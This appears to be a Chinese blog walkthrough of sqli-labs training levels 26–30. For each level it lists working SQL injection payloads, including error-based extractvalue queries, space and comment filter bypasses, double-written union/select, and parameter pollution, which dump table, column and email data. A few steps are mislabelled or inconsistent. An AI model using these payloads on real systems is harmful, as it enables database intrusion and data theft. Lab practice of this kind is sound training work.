sql-labs靶场通关攻略(26-30)

二十六.less=26

1. 根据页面显示大概是空格和注释符被过滤了。那我们就不能使用空格和注释符了,需要使用其他去替换。输入?id=1'

页面报错,单引号概率比较大

2.爆破数据库名

?id=1'%26%26extractvalue(1,concat(0x7e,database()))%26%26'1'='1

3.爆破表名

?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))))||'1'='1

4.爆破列名

?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='emails'))))||'1'='1

5.爆破字段值

?id=1'%26%26extr

actvalue(1,concat(0x7e,(select(group_concat(id))from(emails))))||'1'='1

二十七.less=27

1.通过页面可得这一关应该主要是过滤了 union 和 select 。

输入?id=1\

 通过页面的报错信息可得注入点为单引号。同时发现这一关中存在报错回显,那么就可以使用报错注入。我这里就使用报错注入。

2.爆破数据库名

?id=1'%26%26extractvalue(1,concat(0x7e,database()))||'1'='1

3.爆破表名

?id=1'%26%26extractvalue(1,concat(0x7e,(SELect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))))||'1'='1

4.爆破列名

?id=1'%26%26extractvalue(1,concat(0x7e,(SELect(group_concat(column_name))from(information_schema.columns)where(table_name='emails'))))||'1'='1

5.爆破字段值

?id=1'%26%26extractvalue(1,concat(0x7e,(SELect(group_concat(id))from(emails))))||'1'='1

二十八.less=28

1.输入?id=1‘查看回显

2.输入?id=2'and'1'='1进一步确定注入点

3. 可以看到页面并没有回显 id=2 的用户的信息,说明注入点不是单引号,我们尝试加一个单括号试一试:

?id=2')and('1')=('1

4.可以看到页面回显了 id=2 的用户的信息,说明注入点是 ') 。

     接下来我们测试一下数据库列数和显示位:

 

5.在尝试一下双写绕过

?id=0')uniunionon%0aselselectect%0a1,2,3||('1')=('1

6.?id=0')union%0aunion%0aselectselect%0a1,2,3||('1')=('1

可以看到成功绕过了。这种方法就是写两次 union 和 select 。这里过滤的应该是 select+空格+select 这样的,只要和这个语句匹配就过滤了。

7.爆破数据库名

?id=0')union%0aunion%0aselectselect%0a1,database(),3%0a||('1')=('1

8.爆破表名

?id=0')union%0aunion%0aselectselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'and('1')=('1

9.爆破列名

?id=0')union%0aunion%0aselectselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_name='emails'and('1')=('1

10.爆破字段值

?id=0')union%0aunion%0aselectselect%0a1,group_concat(id,email_id),3%0afrom%0aemails%0awhere%0a1=1%0aand('1')=('1

二十九less=29

1.输入?id=1\

2.测试一下?id=0' union select 1,2,3--+&&id=2

3.可以看到页面依旧回显 id=2 的用户的信息,我们的注入语句完全无效。接下来我们输入到最后一个参数后做测试:

?id=1&&id=0' union select 1,2,3 --+

接下来使用联合查询就好了

4.爆破数列名

?id=1&&id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+

5。爆破字段值

?id=1&&id=2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

6.爆破数据库名

?id=1&&id=0' union select 1,database(),3 --+

7.爆破表名

?id=1&&id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

三十.less=30

1.测试一下?id=1\

2.?id=0" union select 1,2,3--+&&id=2

3.?id=1&&id=0" union select 1,2,3 --+

4.爆破数据库名

?id=1&&id=0" union select 1,database(),3 --+

5.爆破表名

?id=1&&id=0" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

6.爆破列名

?id=1&&id=0" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+

7.爆破字段值

?id=1&&id=0' union select 1,group_concat(id,email_id),3 from emails --+

  • 7
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值